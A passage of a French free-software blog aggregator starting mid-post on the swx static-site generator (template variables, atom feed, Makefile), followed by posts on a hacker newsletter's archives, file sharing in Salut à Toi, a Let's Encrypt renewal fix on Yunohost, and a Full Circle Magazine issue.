<head>
${_PAGETITLE_}
<link rel="icon" href="media/fe2a0650.favicon.png" data-original-source="https://yeuxdelibad.net/favicon.png" type="image/png">
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<link rel="stylesheet" type="text/css" href="/style.min.css">
<link href="/atom.xml" type="application/atom+xml" rel="alternate" title="Atom feed of yeuxdelibad.net" />
</head>

<body>
<header>
${_HEADER_}
<nav id="menubar">
${_NAVPATH_}
${_MENU_}
</nav>
</header>
<aside id="sidebar">
    <div class="tooltip">
        <a href="/atom.xml" class="icon">📰</a>
        <span class="tooltiptext">
            Flux ATOM pour s'abonner
        </span>
    </div> 
</aside>
<main>
<div id="article">
${_MAIN_}
</div>
</main>
<footer>
Le 
${_GENDATE_}
avec <a href="https://3hg.fr/Scripts/swx">swx</a>
</footer>
</body>
</html>
</code></pre>

<p>On remarque dans ce fichier des éléments comme <code>${_PAGETITLE_}</code>. Il
s'agit de variables qui seront remplacées par la fonction générant les
pages. On remarquera notamment :</p>

<ul><li><code>${_PAGETITLE_}</code> : Le titre de la page</li>
<li><code>${_HEADER_}</code> : Le contenu de l'entête (titre du site…)</li>
<li><code>${_NAVPATH_}</code> et <code>${_MENU_}</code> : Le menu de navigation et listant les
pages.</li>
<li><code>${_MAIN_}</code> : Le contenu de la page rédigé par exemple en markdown.</li>
<li><code>${_GENDATE_}</code> : La date où la page est générée.</li>
</ul><p>Ainsi, l'utilisateur peut plus facilement gérer l'apparence de ses
pages.</p>

<p>Une nouvelle option fait son apparition si on souhaite changer la
syntaxe désignant une variable. Il s'agit d'une expression régulière :</p>

<pre><code>TOREPLACE='^\\${_.*_}$'
</code></pre>

<p>Par défaut, ce sont les lignes commençant par <code>$</code>, suivies d'une
accolade et d'un underscore, terminant par un underscore, accolade en
bout de ligne.</p>

<h3>Séparation du code</h3>

<p>Les fonctions et variables communes à tous les petits scripts sont
rassemblés dans un fichier <strong>swx.functions</strong>.</p>

<h3>Création d'un flux atom</h3>

<p>Au lieu d'un flux RSS, c'est le format ATOM plus rigoureux que je
privilégie. Le script <code>swx_atom</code> va rechercher les fichiers les plus
récents puis ajouter son contenu dans un fichier <code>atom.xml</code>.</p>

<p>Afin de trouver les fichiers plus récents, c'est <code>find</code> qui est utilisé :</p>

<p>Sous GNU :</p>

<pre><code>RECENTS=$(find "${1}" -type f -name "*${EXT}" -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head -n "${MAX}")
</code></pre>

<p>Avec OpenBSD, c'est un poil plus court :</p>

<pre><code>RECENTS=$(find "${1}" -type f -name "*${EXT}" -exec stat -f "%m %N" {} \\; | sort -nr | head -n "${MAX}" | cut -d' ' -f2-)
</code></pre>

<p>Le nombre maximum d'entrées est définit avec la variable <code>MAX</code> présente
dans le fichier de configuration.</p>

<p>Afin de savoir à quelle date la page a été créée pour la mettre dans le
flux atom, on se sert de <code>stat</code> :</p>

<p>Sous GNU :</p>

<pre><code>    UPDATED="$(date -ud @`stat -t ${i}|cut -f13 -d\\ ` +%Y-%m-%dT%TZ)"
</code></pre>

<p>Avec OpenBSD :</p>

<pre><code>    UPDATED=$(date -ur $(stat -f %m "${i}") +%Y-%m-%dT%TZ)
</code></pre>

<h3>Gestion d'une page de nouveauté</h3>

<p>Afin d'utiliser swx comme moteur de blog, j'ai voulu améliorer cet
aspect.
Un script <code>swx_blog</code> est capable de détecter les fichiers les plus récents avec <code>find</code>.</p>

<p>Ces fichiers sont analysés pour en retirer le titre (première ligne) et
le lien.</p>

<p>Deux nouvelles options font leur apparition pour la suite :</p>

<pre><code>NEWSSTR="%%%BLOOOOG%%%"
NEWSPAGE="/index.md"
</code></pre>

<p>La première correspond à un bout de texte que l'on met dans une page et
qui sera remplacé par la liste des nouveautés.
La seconde correspond à la page du site qui servira d'entrée dans le
blog, et qui contient justement le bout de texte précédent.</p>

<p><code>swx_blog</code> va convertir cette page et remplacer <code>$NEWSSTR</code> par une liste
de lien vers les nouvelles pages.</p>

<p>J'ai hésité à inclure directement le contenu des pages en utilisant les
balises <code><summary></code> et <code><details></code>, mais pour l'instant ça me convient
ainsi.</p>

<h3>Autres changements</h3>

<p>Ci et là des corrections de bugs et amélioration de syntaxe. Les
variables sont protégées, et normalement le tout doit tourner sur les
systèmes de type UNIX.</p>

<h2>Démonstration ?</h2>

<p>Ce site 😁</p>

<p>Sinon, j'utilise ce fichier <code>Makefile</code> pour générer l'ensemble de mon
site écrit en markdown :</p>

<pre><code>SOURCEDIR=/home/xavier/Documents/site/epicededune/Rendez-vous_sur_Arrakis/
DESTDIR=/home/xavier/Documents/site/epicededune/Rendez-vous_sur_Arrakis.static/

all:
    @echo "Generate website"
    @./swx $(SOURCEDIR)
    @echo "Remove .swp"
    @find $(DESTDIR) -name '*.swp' -exec rm '{}' \\;
    @echo "Generate sitemap and gzip it"
    @./swx_sitemap  $(DESTDIR) > $(DESTDIR)/sitemap.xml
    @gzip --best -c $(DESTDIR)/sitemap.xml > $(DESTDIR)/sitemap.gz
    @echo "Generate website plan"
    @./swx_plan $(DESTDIR) > $(DESTDIR)/Divers/Plan_du_site.html
    @echo "Generate atom feed"
    @./swx_atom $(SOURCEDIR) > $(DESTDIR)/atom.xml
    @echo "Generate blog news entry"
    @./swx_blog $(SOURCEDIR) 
clean:
    rm -rf *.static
force:
    rm $(DESTDIR)/.swx.last
    make all
regen:
    find Rendez-vous_sur_Arrakis -name *.md -exec touch {} \\;
    make all
serve:
    sleep 1 &amp;&amp; surf http://localhost:8000 &amp;
    cd $(DESTDIR) &amp;&amp; python3 -m http.server 
</code></pre>

<p>Un <code>make serve</code> me permet de voir mon site dans un navigateur après
avoir généré le tout avec <code>make</code>.
Un rsync avec un tunnel SSH envoie le tout sur mon serveur sous OpenBSD
bien sûr ☺️.</p>

<p>Et ça ressemble à ça :</p>

<pre><code>$ make
Generate website
> Load configuration
> Prepare output directory
> Generating html pages and copying files
[##################################################] 4/4

> Done! :)
Remove .swp
Generate sitemap and gzip it
Generate website plan
Generate atom feed
Generate blog news entry
</code></pre>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/05/Mise_a_jour_de_swx_version_06.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


title: Journal du hacker : Liens intéressants Journal du hacker semaine #21
uri: 2018-05-28-Journal-du-hacker-Liens-intéressants-Journal-du-hacker-semaine-21
feed_id:
https://blog.journalduhacker.net/index.php?article163/liens-interessants-journal-du-hacker-semaine-21-2018

url:
https://blog.journalduhacker.net/index.php?article163/liens-interessants-journal-du-hacker-semaine-21-2018

content:
<p>Pour la 21ème semaine de l'année 2018, voici <strong>12 liens</strong> intéressants que vous avez peut-être ratés, relayés par <a href="https://www.journalduhacker.net/">le Journal du hacker</a>, votre source d’informations pour le Logiciel Libre francophone !</p>

<a href="https://www.journalduhacker.net/"><img src="media/01f45034.logo-journal-du-hacker.png" data-original-source="https://blog.journalduhacker.net/data/medias/logo-journal-du-hacker.png"></a>

<ul><li><a href="https://www.journalduhacker.net/s/hznmuo/h_berger_les_marques_pages_firefox">Héberger les marques pages Firefox</a></li>
<li><a href="https://www.journalduhacker.net/s/ftu68f/ceux_qui_essayent_juste_de_vendre_leurs">« À ceux qui essayent juste de vendre leurs produits en promettant aux gens qu'ils vont devenir dev pro en quelques semaines, honte à vous ! »</a></li>
<li><a href="https://www.journalduhacker.net/s/xyjdce/comment_r_parer_les_m_dias_sociaux_et_faire">Comment réparer les médias sociaux (et faire encore mieux)</a></li>
<li><a href="https://www.journalduhacker.net/s/636nym/r_partiteur_de_charge_multiples_niveaux">Répartiteur de charge à multiples niveaux avec Linux</a></li>
<li><a href="https://www.journalduhacker.net/s/ib4dly/ajouter_la_coloration_syntaxique_la">Ajouter la coloration syntaxique à la commande cat</a></li>
<li><a href="https://www.journalduhacker.net/s/dyuvrn/tenter_de_gagner_un_peu_sa_vie_avec_un">Tenter de gagner (un peu) sa vie avec un projet open source</a></li>
<li><a href="https://www.journalduhacker.net/s/ebkrma/copier_un_fichier_sparse_sur_le_r_seau">Copier un fichier sparse sur le réseau</a></li>
<li><a href="https://www.journalduhacker.net/s/pqspqa/refaire_linuxfr_org_r_sultats_de_lenqu_te">Refaire LinuxFr.org : résultats de l'enquête</a></li>
<li><a href="https://www.journalduhacker.net/s/9srabv/mydatarequest_pour_r_cup_rer_vos_donn_es">MyDataRequest – Pour récupérer vos données personnelles sans prise de tête</a></li>
<li><a href="https://www.journalduhacker.net/s/oe5wqr/php_stream_wrappers_filters_un_alli_m">PHP Stream : wrappers, filters… un allié méconnu </a></li>
<li><a href="https://www.journalduhacker.net/s/n9urdv/une_victoire_pour_framagit">Une victoire pour Framagit</a></li>
<li><a href="https://www.journalduhacker.net/s/t1gj7g/les_fab_lab_au_c_ur_des_d_fis_num_riques_en">Les fab lab au cœur des défis numériques en Afrique</a></li>
</ul><p>Pour ne plus rater aucun article de la communauté francophone, voici :</p>

<ul><li><a href="https://www.journalduhacker.net/rss">Le flux RSS du Journal du hacker</a></li>
<li><a href="https://twitter.com/journalduhacker">Le compte Twitter du Journal du hacker</a></li>
<li><a href="https://framasphere.org/u/journalduhacker">Le compte Diaspora* du Journal du hacker</a></li>
<li><a href="https://framapiaf.org/@journalduhacker">Le compte Mastodon du Journal du hacker</a></li>
</ul><p>De plus le site web du Journal du hacker est « adaptatif (responsive) ». N’hésitez pas à le consulter depuis votre smartphone ou votre tablette !</p>

<p>Le Journal du hacker fonctionne de manière collaborative, grâce à la participation de ses membres. <a href="https://www.journalduhacker.net/invitations/request">Rejoignez-nous</a> pour proposer vos contenus à partager avec la communauté du Logiciel Libre francophone et faire connaître vos projets !</p>

<p><strong>Et vous ? Qu’avez-vous pensé de ces articles ?</strong> N’hésitez pas à réagir directement dans les commentaires de l’article sur le Journal du hacker ou bien dans les commentaires de ce billet :)</p>
<p><img src="media/ffe97a17.7916ee3cafa0bc3e9583bedad876dcd5" data-original-source="http://cdn.libravatar.org/avatar/7916ee3cafa0bc3e9583bedad876dcd5" alt="Gravatar de Journal du hacker" class="gravatar" /><br/><i>Original post of <a href="https://blog.journalduhacker.net/index.php?article163/liens-interessants-journal-du-hacker-semaine-21-2018" title="Visit the source">Journal du hacker</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #21</a> (30/05/2016)</li><li>Journal du hacker : <a href="">Liens int&eacute;ressants Journal du hacker semaine #21</a> (29/05/2017)</li></ul></div></p>


feed_id: https://carlchenet.com/newsletter-du-courrier-du-hacker-archives-mastodon-et-twitter/
title: Carl Chenet : Newsletter du Courrier du hacker : archives, RSS, Mastodon et Twitter
uri: Carl-Chenet-Newsletter-du-Courrier-du-hacker-archives-RSS-Mastod
url: https://carlchenet.com/newsletter-du-courrier-du-hacker-archives-mastodon-et-twitter/
content:
<p>Suite à <a href="https://linuxfr.org/news/le-courrier-du-hacker-lettre-d-information-hebdomadaire-resumant-l-actualite-foss-francophone">ma dernière dépêche</a> sur LinuxFR à propos <a href="https://lecourrierduhacker.com/">du Courrier du hacker</a>, la newsletter résumant l’actualité hebdomadaire francophone du Logiciel Libre et Open Source, j’ai reçu de bonnes remarques sur l’accès à la newsletter qui pourrait être améliorée. J’ouvre donc l’accès <a href="https://lecourrierduhacker.com/archives">aux archives</a> via le web que je vais enrichir peu à peu, j’ai également créé <a href="https://lecourrierduhacker.com/rss.xml">un flux RSS</a>, <a href="https://framapiaf.org/@lecourrierduhacker">un compte Mastodon</a> et <a href="https://twitter.com/courrierhacker">un compte Twitter</a>.</p>
<p><span></span></p>
<hr><p><a href="https://lecourrierduhacker.com/"><img src="media/848ce166.courrierduhacker-logo.png" data-original-source="https://carlchenet.com/wp-content/uploads/2017/09/courrierduhacker-logo.png" alt="" width="818" height="168" srcset="https://carlchenet.com/wp-content/uploads/2017/09/courrierduhacker-logo.png 818w, https://carlchenet.com/wp-content/uploads/2017/09/courrierduhacker-logo-300x62.png 300w, https://carlchenet.com/wp-content/uploads/2017/09/courrierduhacker-logo-768x158.png 768w" sizes="(max-width: 818px) 100vw, 818px"></a>
	<section><form method="POST" data-attr-form-id="1">

													<label for="yikes-easy-mc-form-1-EMAIL">

										<!-- dictate label visibility -->
																					<span>
												E-mail											</span>
										
										<!-- Description Above -->
										
										<input name="EMAIL" placeholder="" required="required" type="email" value=""><!-- Description Below --></label>
									
				<!-- Honeypot Trap -->
				<input type="hidden" name="yikes-mailchimp-honeypot" value=""><!-- List ID --><input type="hidden" name="yikes-mailchimp-associated-list-id" value="22e5c06162"><!-- The form that is being submitted! Used to display error/success messages above the correct form --><input type="hidden" name="yikes-mailchimp-submitted-form" value="1"><!-- Submit Button --><button type="submit"> <span>Submit</span></button>				<!-- Nonce Security Check -->
				<input type="hidden" name="yikes_easy_mc_new_subscriber" value="75989ba86f"><input type="hidden" name="_wp_http_referer" value="/category/planet-libre/feed/"></form>
			<!-- MailChimp Form generated by Easy Forms for MailChimp v6.3.30 (https://wordpress.org/plugins/yikes-inc-easy-mailchimp-extender/) -->

			</section></p>
<hr><p>En effet j’aime beaucoup le format newsletter qui présente selon moi plusieurs caractéristiques qui me plaisent :</p>
<ul><li>arrive directement dans mes e-mails</li>
<li>je peux consulter les titres immédiatement, lire le contenu plus tard</li>
<li>contenu dense et sélectionné (deux fois dans le cas du Courrier du hacker)</li>
<li>je peux joindre l’auteur de la newsletter en répondant à l’e-mail, si besoin</li>
</ul><p>Mais il est tout à fait compréhensible que d’autres personnes ne partagent pas ce point de vue et préfère consulter leur flux <a href="https://fr.wikipedia.org/wiki/RSS">RSS</a>, via <a href="https://joinmastodon.org/">Mastodon</a> ou <a href="https://twitter.com/">Twitter</a>. Il est dommage de priver un lecteur potentiel de sa lecture juste pour un problème de format de média.</p>
<h2>Archives du Courrier du hacker</h2>
<p>Les archives étaient jusqu’ici accessibles via le prestataire de newsletters <a href="https://www.mailchimp.com/">Mailchimp</a>. J’ai décidé de constituer des archives externes afin qu’un problème lié à ce prestataire n’entraîne pas la perte de ses archives. De plus j’aurai davantage de contrôle en hébergeant moi-même ces archives.</p>
<p><a href="https://lecourrierduhacker.com/archives"><img src="media/57304e1e.courrierduhacker-archives.png" data-original-source="https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-archives.png" alt="" width="449" height="214" srcset="https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-archives.png 449w, https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-archives-300x143.png 300w" sizes="(max-width: 449px) 100vw, 449px"></a></p>
<h2>Flux RSS du Courrier du hacker</h2>
<p>La constitution progressive des archives (ça représente un peu de boulot de reprendre les 37 numéros actuels) permet maintenant d’offrir un flux RSS avec les différents numéros du Courrier du hacker.</p>
<p>Le flux RSS du Courrier du hacker : <a href="https://lecourrierduhacker.com/rss">https://lecourrierduhacker.com/rss</a></p>
<p><a href="https://lecourrierduhacker.com/rss"><img src="media/455c9215.rss-150x150.png" data-original-source="https://carlchenet.com/wp-content/uploads/2017/09/rss-150x150.png" alt="" width="150" height="150" srcset="https://carlchenet.com/wp-content/uploads/2017/09/rss-150x150.png 150w, https://carlchenet.com/wp-content/uploads/2017/09/rss-300x300.png 300w, https://carlchenet.com/wp-content/uploads/2017/09/rss-768x768.png 768w, https://carlchenet.com/wp-content/uploads/2017/09/rss-1024x1024.png 1024w, https://carlchenet.com/wp-content/uploads/2017/09/rss.png 1200w" sizes="(max-width: 150px) 100vw, 150px"></a></p>
<h2>Compte Mastodon du Courrier du hacker</h2>
<p>Conséquemment à la disponibilité d’un flux RSS, offrir un compte Mastodon pour relayer la disponibilité des différents numéros du Courrier du hacker dans les archives devient simple, grâce par exemple à un outil comme <a href="https://gitlab.com/chaica/feed2toot">Feed2toot</a>. J’ai donc profité de l’instance mise à disposition par les amis de Framasoft, <a href="https://framapiaf.org/">Framapiaf</a> (merci à eux).</p>
<p>Le compte Mastodon du Courrier du hacker : <a href="https://framapiaf.org/@lecourrierduhacker">https://framapiaf.org/@lecourrierduhacker</a></p>
<p><a href="https://framapiaf.org/@lecourrierduhacker"><img src="media/ba6d2bcf.courrierduhacker-framapiaf.png" data-original-source="https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-framapiaf.png" alt="" width="701" height="529" srcset="https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-framapiaf.png 701w, https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-framapiaf-300x226.png 300w" sizes="(max-width: 701px) 100vw, 701px"></a></p>
<h2>Compte Twitter du Courrier du hacker</h2>
<p>Inutile de se voiler la face, un très grand nombre de Libristes fréquente Twitter.  L’effort à fournir pour être présent sur ce réseau étant très faible grâce à un bot comme <a href="https://github.com/chaica/feed2tweet">Feed2tweet</a>, j’ai mis en place un bot pour être présent sur ce réseau social.</p>
<p>Le compte Twitter du Courrier du hacker : <a href="https://twitter.com/courrierhacker">https://twitter.com/courrierhacker</a></p>
<p><a href="https://twitter.com/courrierhacker"><img src="media/761bc11a.courrierduhacker-twitter.png" data-original-source="https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-twitter.png" alt="" width="905" height="564" srcset="https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-twitter.png 905w, https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-twitter-300x187.png 300w, https://carlchenet.com/wp-content/uploads/2018/05/courrierduhacker-twitter-768x479.png 768w" sizes="(max-width: 905px) 100vw, 905px"></a></p>
<h2>Pour la suite</h2>
<p>Le Courrier du hacker propose un contenu de grande qualité, qui a trouvé rapidement son public au format newsletter. Nous souhaitons le rendre davantage accessible en mettant à disposition les archives et les nouveaux comptes Mastodon et Twitter.</p>
<p><img src="media/46f73009.e1f1addc890668ce2561431b7be810bc" data-original-source="http://cdn.libravatar.org/avatar/e1f1addc890668ce2561431b7be810bc" alt="Gravatar de Carl Chenet" class="gravatar" /><br/><i>Original post of <a href="https://carlchenet.com/newsletter-du-courrier-du-hacker-archives-mastodon-et-twitter/" title="Visit the source">Carl Chenet</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Carl Chenet : <a href="">D&eacute;j&agrave; 100 abonn&eacute;s au Courrier du hacker une semaine apr&egrave;s son lancement</a> (20/09/2017)</li><li>Carl Chenet : <a href="">Le Courrier du hacker : le point apr&egrave;s (d&eacute;j&agrave;) 5 num&eacute;ros et les le&ccedil;ons retenues</a> (16/10/2017)</li><li>Carl Chenet : <a href="">Pourquoi j&rsquo;ai lanc&eacute; le Courrier du hacker, newsletter sur le Logiciel Libre et Open Source</a> (27/09/2017)</li><li>Carl Chenet : <a href="">Meilleurs articles 2017 du Courrier du hacker, newsletter du Logiciel Libre</a> (04/01/2018)</li><li>Carl Chenet : <a href="">De 0 &agrave; 860 abonn&eacute;es en 30 num&eacute;ros : la newsletter du Courrier du hacker</a> (05/04/2018)</li></ul></div></p>


feed_id: https://www.goffi.org/b/EWc7ic8xZ8m6EZZp4zz4iZ/partage-fichiers-arrive-dans-prochaine-version-salut
title: Goffi : Le partage de fichiers arrive dans la prochaine version de Salut à Toi
uri: Goffi-Le-partage-de-fichiers-arrive-dans-la-prochaine-version-de-Sal
url: https://www.goffi.org/b/EWc7ic8xZ8m6EZZp4zz4iZ/partage-fichiers-arrive-dans-prochaine-version-salut
content:
                    <div><p>La dernière grosse fonctionnalité avant la préparation de la version alpha, le partage de fichiers, et désormais disponible pour <a href="https://salut-a-toi.org/">Salut à Toi</a>.</p>
<p>SàT est capable d'envoyer ou recevoir des fichiers depuis des années, soit directement quand 2 personnes sont connectées en même temps, ou via un téléversement sur le serveur (via « HTTP upload »).</p>
<p>Il est maintenant possible de partager une hiérarchie de fichiers, ou en d'autres termes un ou plusieurs répertoires. Il y a 2 cas d'utilisation principaux : avec un composant, ou un autre client.</p>
<p><img src="media/a697a44f.sharing.gif" data-original-source="https://upload.goffi.org/upload/CalLoC8fYa1G9ERM/sharing.gif" alt="partager un répertoire avec Cagou"></p>
<h1>Partager un répertoire avec un client</h1>
<p>L'autre façon d'utiliser le partage de fichiers est directement entre 2 appareils. Ceci peut être utilisé, par exemple, pour partager des photos prises sur votre téléphone avec votre ordinateur de bureau, ou pour rapidement donner accès à des documents LibreOffice à vos collègues.<br>
Pour gérer les permissions, vous n'avez qu'à donner les JIDs (identifiants XMPP) des personnes autorisées (ou à cliquer sur les contacts dans Cagou, l'interface graphique). </p>
<p>Le transfert utilise la technologie Jingle, qui va permettre de choisir la meilleure façon d'envoyer le fichier. Cela signifie que si vous êtes sur le même réseau local que l'autre appareil (ce qui est le cas dans le précédant exemple de partager des photos prises sur le téléphone avec votre ordinateur de bureau, quand vous êtes à la maison), la connexion reste en local, et le serveur ne verra que le « signal », c'est à dire les données nécessaires à l'établissement de la connexion.</p>
<p>Mais si vos appareils ne sont pas sur le même réseau local, la connexion est toujours faisable, et SàT essaiera d'utiliser une connexion directe quand c'est possible.</p>
<p><img src="media/f58a427b.file_sharing.png" data-original-source="https://upload.goffi.org/upload/5apYaVukomdS7a3n/file_sharing.png" alt="partage de fichiers avec un client"></p>
<p>Ci-dessus vous pouvez voir avec quelle simplicité on peut partager un répertoire avec Cagou, l'interface bureau/Android de Salut à Toi.</p>
<h1>Le partage de fichiers avec un composant</h1>
<p>SàT peut maintenant gérer des composants (qui sont plus ou moins des greffons génériques pour les serveurs XMPP), et un premier permet à un utilisateur de téléverser, lister, ou retrouver des fichiers.</p>
<p>Ceci est vraiment pratique quand vous voulez garder des fichiers privés pour une utilisation ultérieure (et y accéder depuis n'importe quel appareil), ou pour partager un album photo, par exemple, avec votre famille. Cette fonctionnalité est sur la voie d'un service similaire à ce qu'on appelle de nos jours « stockage sur le cloud », sauf que vous pouvez garder le contrôle sur vos données.</p>
<p><img src="media/d3bf091f.file_sharing_component.png" data-original-source="https://upload.goffi.org/upload/Tkykwrwoet5a86Vg/file_sharing_component.png" alt="partage de fichiers avec un composant"></p>
<p>Comme vous pouvez le voir, c'est très similaire à ce qu'il se passe entre 2 clients.</p>
<p>De plus avec le nouveau système d'invitation de SàT, vous pouvez partager des fichiers même avec des personnes qui n'ont pas de compte.</p>
<h1>Quelques notes</h1>
<p>Le transfert de fichier n'est pas encore chiffré, mais c'est prévu rapidement avec OX (OpenPGP) ou OMEMO.<br>
La fonctionnalité de base est là et fonctionne, mais il y a encore des améliorations prévues à plus ou moins long terme : des quotas pour les utilisateurs, la synchronisation de fichiers, le chiffrement de bout en bout, ou encore la recherche avancée.</p>
<h1>Tester</h1>
<p>Vous trouverez sur le wiki les instructions sur <a href="https://wiki.goffi.org/wiki/File_sharing/en">comment utiliser cette fonctionnalité</a> (en anglais).</p>
<p>Bien sûr vous aurez besoin de la version de développement pour tester. N'hésitez pas à demander de l'aide sur le salon SàT : <a href="xmpp:sat@chat.jabberfr.org?join">sat@chat.jabberfr.org</a> (ou <a href="https://chat.jabberfr.org/converse.js/sat@chat.jabberfr.org">avec un butineur</a>).</p>
<p><a href="https://aur.archlinux.org/packages/sat-cagou-hg/">Un paquet</a> est désormais disponible pour Cagou sur AUR pour les utilisateurs d'Arch Linux, un grand merci à <a href="https://blog.agayon.be/">jnanar</a> pour ceci.</p>
<h1>Besoin d'aide !</h1>
<p>SàT est un très gros projet, avec de fortes racines éthiques. Il est unique sur plus d'un point, et nécessite beaucoup de travail. Vous pouvez aider à sa réussite soit <a href="https://fr.liberapay.com/salut_a_toi/">en nous soutenant sur Liberapay</a> soit en contribuant (jetez un œil au <a href="https://salut-a-toi.org/community.html">site officiel</a> ou <a href="xmpp:sat@chat.jabberfr.org?join">venez sur le salon</a> pour plus d'infos).</p>
<p>Le prochain billet sera à propos de la sortie de la version alpha, restez en ligne ;)</p></div>
                    
<p><img src="media/5b1e2ea8.1e4b13af438df6baa729681700f11a05" data-original-source="http://cdn.libravatar.org/avatar/1e4b13af438df6baa729681700f11a05" alt="Gravatar de Goffi" class="gravatar" /><br/><i>Original post of <a href="https://www.goffi.org/b/EWc7ic8xZ8m6EZZp4zz4iZ/partage-fichiers-arrive-dans-prochaine-version-salut" title="Visit the source">Goffi</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Goffi : <a href="">Construisez un internet d&eacute;centralis&eacute; avec Libervia (Salut &agrave; Toi) !</a> (26/01/2018)</li><li>Goffi : <a href="">Parlons XMPP - &eacute;pisode 10 - copie de fichiers et Jingle (suite)</a> (31/03/2016)</li><li>Goffi : <a href="">Parlons XMPP - &eacute;pisode 10 - copie de fichiers et Jingle (suite)</a> (31/03/2016)</li><li>Goffi : <a href="">Importer un blog Dotclear dans XMPP</a> (23/03/2016)</li><li>Goffi : <a href="">Publiez sur votre blog XMPP depuis Libervia ou jp (S&agrave;T)</a> (24/03/2016)</li></ul></div></p>


title: genma : Yunohost, Let's Encrypt - Soucis de renouvellement automatique pour un sous-domaines
uri: genma-Yunohost-Let-s-Encrypt-Soucis-de-renouvellement-automatique
feed_id:
https://blog.genma.fr/?Yunohost-Let-s-Encrypt-Soucis-de-renouvellement-automatique-pour-un-sous-domaines

url:
https://blog.genma.fr/?Yunohost-Let-s-Encrypt-Soucis-de-renouvellement-automatique-pour-un-sous-domaines

content:
<img alt="" src="https://blog.genma.fr/IMG/arton2756.jpg?1527196418" width="150" height="79"><div><p>J'aime bien avoir des sous-domaines thématiques et une application installé à la racine de sous domaine. Exemple cloud.toto.com avec Nextcloud à la racine (accessible via cloud.toto.com), rss.toto.com... Sur chacun de sous-domaines j'ai activé les certificats Let's Encrypt (fonctionnalité inclue par défaut dans l'interface d'administration des domaines de Yunohost).</p>
<p>J'avais un soucis de renouvellement automatique d'un certificat Let's Encrypt d'un sous-domaine qui arrivait à expiration, signalé par mail via la tâche cron qui gère ce renouvellement.</p>
<p>J'ai tenté via l'interface de renouveler le certificat ( Accueil > Domaines > status.toto.com > Certificat) et j'ai eu l'erreur du type</p>
<div dir="ltr"><code>Wrote file to /tmp/acme-challenge-public/MtjRxzsCW2l5NCj7Y-vfMoIviNHmtxv0eJp1FS9kuaw, but couldn't download http://<br> status.toto.com/.well-known/acme-challenge/MtjRxzsCW2l5NCj7Y-vfMoIviNHmtxv0eJp1FS9kuaw</code></div>
<p>L'application installée (Cachet) était à la racine du domaine status.toto.com</p>
<p>Depuis la gestion de l'application dans la partie administration de Yunohost, j'ai migré l'application vers /cachet (Applications > Cachet > Changer l'URL)</p>
<p><span>
<img src="https://blog.genma.fr/IMG/bmp/selection_008.bmp?1527196631" width="500" height="104" alt=""></span></p>
<p><span>
<img src="https://blog.genma.fr/IMG/bmp/selection_009.bmp?1527196614" width="450" height="185" alt=""></span></p>
<p>J'ai alors relancé le renouvellement du Certificat depuis l'interface d'administration (clic sur le bouton "Renouveler manuellement maintenant).</p>
<p><span>
<img src="https://blog.genma.fr/IMG/bmp/selection_006.bmp?1527196666" width="500" height="150" alt=""></span></p>
<p><span>
<img src="https://blog.genma.fr/IMG/bmp/selection_007.bmp?1527196675" width="500" height="216" alt=""></span></p>
<p>Ça a marché !</p>
<p>J'ai rechangé l'url de l'application Cachet pour qu'elle soit de nouveau vers /, l'application Cachet est donc à la racine du domaine status.toto.com et la seule application du sous-domaine. Et le certificat pour le domaine status.toto.com est bon pour 89 jours...</p>
<p>A voir si lors de l'arrivée de la prochaine expiration du certificat pour ce sous-domaine je dois faire la même chose...</p>
<p>A noter que pour d'autres sous-domaines plus anciens ayant eux aussi des applications installées à la racine du sous-domaine (du coup une seule application par sous-domaine), je n'ai pas de soucis de renouvellement automatisé. A creuser via les logs à l'occasion.</p></div>
<p><img src="media/42493842.dd4318d0d3a7d2ffb13756f63b76d85d" data-original-source="http://cdn.libravatar.org/avatar/dd4318d0d3a7d2ffb13756f63b76d85d" alt="Gravatar de genma" class="gravatar" /><br/><i>Original post of <a href="https://blog.genma.fr/?Yunohost-Let-s-Encrypt-Soucis-de-renouvellement-automatique-pour-un-sous-domaines" title="Visit the source">genma</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: http://www.fullcirclemag.fr/?post/2018/05/28/Le-132-est-arriv%C3%A9
title: Full Circle Magazine FR : Le 132 est arrivé
uri: Full-Circle-Magazine-FR-Le-132-est-arrivé
url: http://www.fullcirclemag.fr/?post/2018/05/28/Le-132-est-arriv%C3%A9
content:
<p>Bonjour à toutes et à tous,</p>


<p>L'équipe du FCMfr, avec deux nouveaux membres, christo.2so et Paul, est très heureuse de vous présenter ce nouveau numéro du magazine Full Circle en français. Comme d'habitude, vous pouvez le visionner  ou le télécharger sur notre page <a href="http://www.fullcirclemag.fr/?pages/Num%C3%A9ros" hreflang="fr" title="Lire ou télécharger le 132">NUMÉROS</a> ou directement en cliquant sur l'image ci-dessous.</p>


<p><a href="http://www.fullcirclemag.fr/?download/557" hreflang="fr" title="Télécharger le 132"><img src="media/5632f877.Issue132fr.png" data-original-source="http://www.fullcirclemag.fr/dotclear/public/Numeros/Couvertures_PNG/Issue132fr.png" alt="Issue132fr.png" title="Issue132fr.png, mai 2018"></a></p>


